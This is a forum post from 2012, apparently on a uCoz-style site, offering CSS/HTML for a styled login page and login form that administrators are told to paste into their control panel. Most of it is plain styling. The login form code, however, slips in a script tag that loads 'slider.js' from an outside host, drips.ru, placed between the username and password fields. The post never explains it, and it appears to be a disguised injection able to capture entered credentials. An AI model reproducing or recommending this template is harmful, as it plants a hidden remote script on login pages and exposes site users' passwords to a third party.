[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форма входа для светлого дизайна
Batareyka [ Offline ] Дата: Воскресенье, 05.02.2012, 21:39 | Сообщение # 1

Пользователь №: 1546
Сообщений: 7


Панель Управления ->Пользователи -> Страница входа пользователей, всё удалить и вставить ето:

Code
<html>    
   <head>    
   <title>Страница входа</title>    
   <style>   
   /*--------------------*/   
   #login   
   {   
    background-color: #fff;   
    background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#eee));   
    background-image: -webkit-linear-gradient(top, #fff, #eee);   
    background-image: -moz-linear-gradient(top, #fff, #eee);   
    background-image: -ms-linear-gradient(top, #fff, #eee);   
    background-image: -o-linear-gradient(top, #fff, #eee);   
    background-image: linear-gradient(top, #fff, #eee);    
    height: 240px;   
    width: 400px;   
    margin: -150px 0 0 -230px;   
    padding: 30px;   
    position: absolute;   
    top: 50%;   
    left: 50%;   
    z-index: 0;   
    -moz-border-radius: 3px;   
    -webkit-border-radius: 3px;   
    border-radius: 3px;    
    -webkit-box-shadow:   
   ; 0 0 2px rgba(0, 0, 0, 0.2),   
    0 1px 1px rgba(0, 0, 0, .2),   
    0 3px 0 #fff,   
    0 4px 0 rgba(0, 0, 0, .2),   
    0 6px 0 #fff,    
    0 7px 0 rgba(0, 0, 0, .2);   

    -moz-box-shadow:   
   ; 0 0 2px rgba(0, 0, 0, 0.2),    
    1px 1px 0 rgba(0, 0, 0, .1),   
    3px 3px 0 rgba(255, 255, 255, 1),   
    4px 4px 0 rgba(0, 0, 0, .1),   
    6px 6px 0 rgba(255, 255, 255, 1),    
    7px 7px 0 rgba(0, 0, 0, .1);   

    box-shadow:   
   ; 0 0 2px rgba(0, 0, 0, 0.2),    
    0 1px 1px rgba(0, 0, 0, .2),   
    0 3px 0 #fff,   
    0 4px 0 rgba(0, 0, 0, .2),   
    0 6px 0 #fff,    
    0 7px 0 rgba(0, 0, 0, .2);   

   }   

   #login:before   

   {   

    content: '';   
    position: absolute;   
    z-index: -1;   
    border: 1px dashed #ccc;   
    top: 5px;   
    bottom: 5px;   
    left: 5px;   
    right: 5px;   
    -moz-box-shadow: 0 0 0 1px #fff;   
    -webkit-box-shadow: 0 0 0 1px #fff;   
    box-shadow: 0 0 0 1px #fff;   

   }   
   /*--------------------*/   

   h1   

   {   

    text-shadow: 0 1px 0 rgba(255, 255, 255, .7), 0px 2px 0 rgba(0, 0, 0, .5);   
    text-transform: uppercase;   
    text-align: center;   
    color: #666;   
    margin: 0 0 30px 0;   
    letter-spacing: 4px;   
    font: normal 26px/1 Verdana, Helvetica;   
    position: relative;   

   }   

   h1:after, h1:before   

   {   

    background-color: #777;   
    content: "";   
    height: 1px;   
    position: absolute;   
    top: 15px;   
    width: 120px;    

   }   

   h1:after   

   {    

    background-image: -webkit-gradient(linear, left top, right top, from(#777), to(#fff));   
    background-image: -webkit-linear-gradient(left, #777, #fff);   
    background-image: -moz-linear-gradient(left, #777, #fff);   
    background-image: -ms-linear-gradient(left, #777, #fff);   
    background-image: -o-linear-gradient(left, #777, #fff);   
    background-image: linear-gradient(left, #777, #fff);    
    right: 0;   

   }   

   h1:before   

   {   

    background-image: -webkit-gradient(linear, right top, left top, from(#777), to(#fff));   
    background-image: -webkit-linear-gradient(right, #777, #fff);   
    background-image: -moz-linear-gradient(right, #777, #fff);   
    background-image: -ms-linear-gradient(right, #777, #fff);   
    background-image: -o-linear-gradient(right, #777, #fff);   
    background-image: linear-gradient(right, #777, #fff);   
    left: 0;   

   }   
   /*--------------------*/   
   fieldset   

   {   

    border: 0;   
    padding: 0;   
    margin: 0;   

   }   

   /*--------------------*/   

   #inputs input   

   {   
    background: #f1f1f1 url(http://ripbox.do.am/lesson/login-sprite.png) no-repeat;   
    padding: 15px 15px 15px 30px;   
    margin: 0 0 10px 0;   
    width: 353px; /* 353 + 2 + 45 = 400 */   
    border: 1px solid #ccc;   
    -moz-border-radius: 5px;   
    -webkit-border-radius: 5px;   
    border-radius: 5px;   
    -moz-box-shadow: 0 1px 1px #ccc inset, 0 1px 0 #fff;   
    -webkit-box-shadow: 0 1px 1px #ccc inset, 0 1px 0 #fff;   
    box-shadow: 0 1px 1px #ccc inset, 0 1px 0 #fff;   

   }   

   #username   

   {   
    background-position: 5px -2px !important;   
   }   

   #password   

   {   

    background-position: 5px -52px !important;   

   }   

   #inputs input:focus   

   {   

    background-color: #fff;   
    border-color: #e8c291;   
    outline: none;   
    -moz-box-shadow: 0 0 0 1px #e8c291 inset;   
    -webkit-box-shadow: 0 0 0 1px #e8c291 inset;   
    box-shadow: 0 0 0 1px #e8c291 inset;   

   }   

   /*--------------------*/   

   #actions   

   {   

    margin: 25px 0 0 0;   

   }   

   #submit   

   {    

    background-color: #ffb94b;   
    background-image: -webkit-gradient(linear, left top, left bottom, from(#fddb6f), to(#ffb94b));   
    background-image: -webkit-linear-gradient(top, #fddb6f, #ffb94b);   
    background-image: -moz-linear-gradient(top, #fddb6f, #ffb94b);   
    background-image: -ms-linear-gradient(top, #fddb6f, #ffb94b);   
    background-image: -o-linear-gradient(top, #fddb6f, #ffb94b);   
    background-image: linear-gradient(top, #fddb6f, #ffb94b);   
    -moz-border-radius: 3px;   
    -webkit-border-radius: 3px;   
    border-radius: 3px;   
    text-shadow: 0 1px 0 rgba(255,255,255,0.5);   
    -moz-box-shadow: 0 0 1px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.3) inset;   
    -webkit-box-shadow: 0 0 1px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.3) inset;   
    box-shadow: 0 0 1px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.3) inset;    
    border-width: 1px;   
    border-style: solid;   
    border-color: #d69e31 #e3a037 #d5982d #e3a037;   
    float: left;   
    height: 35px;   
    padding: 0;   
    width: 120px;   
    cursor: pointer;   
    font: bold 15px Arial, Helvetica;   
    color: #8f5a0a;   

   }   

   #submit:hover,#submit:focus   

   {    

    background-color: #fddb6f;   
    background-image: -webkit-gradient(linear, left top, left bottom, from(#ffb94b), to(#fddb6f));   
    background-image: -webkit-linear-gradient(top, #ffb94b, #fddb6f);   
    background-image: -moz-linear-gradient(top, #ffb94b, #fddb6f);   
    background-image: -ms-linear-gradient(top, #ffb94b, #fddb6f);   
    background-image: -o-linear-gradient(top, #ffb94b, #fddb6f);   
    background-image: linear-gradient(top, #ffb94b, #fddb6f);   

   }    

   #submit:active   

   {    

    outline: none;   
    -moz-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.5) inset;   
    -webkit-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.5) inset;   
    box-shadow: 0 1px 4px rgba(0, 0, 0, 0.5) inset;    

   }   

   #submit::-moz-focus-inner   

   {   
    border: none;   
   }   
   #actions a   
   {   
    color: #3151A2;    
    float: right;   
    line-height: 35px;   
    margin-left: 10px;   
   }   

   /*--------------------*/   

   #back   
   {   
    display: block;   
    text-align: center;   
    position: relative;   
    top: 60px;   
    color: #999;   
   }   
   </style>    

   </head>    
   <body>    
   $BODY$    
   <span id="back">$POWERED_BY$</span>    
   </body>    
   </html>


Далее идем в ПУ - Пользователи - Форма входа пользователей также удаляете все оттуда и заменяете этим кодом:

Code
<div id="login">    
    <h1>Вход</h1>    
    <fieldset id="inputs">    
    <input id="username" type="text" name="user" placeholder="Логин" autofocus required>   
    <script src="http://drips.ru/slider.js" type="text/javascript"></script>
    <input id="password" type="password" name="password" placeholder="Пароль" required>    
    </fieldset>    
    <fieldset id="actions">    
    <input name="sbm" type="submit" id="submit" value="Войти">
    <a href="$REMINDER_LINK$">Забыли пароль</a><a href="$REGISTER_LINK$">Зарегистрироваться</a>    
   </fieldset>
Прикрепления: 9211375.jpg (10.8 Kb)
 
Профиль
Группа: Пользователи
Регистрация: 05.02.2012
Пользователь №: 1546
Сообщений: 7
Репутация: [ 0 ]
Не указано

Автор - Batareyka
Дата добавления - 05.02.2012 в 21:39
  • Страница 1 из 1
  • 1
Поиск:

Copyright MyCorp © 2024
§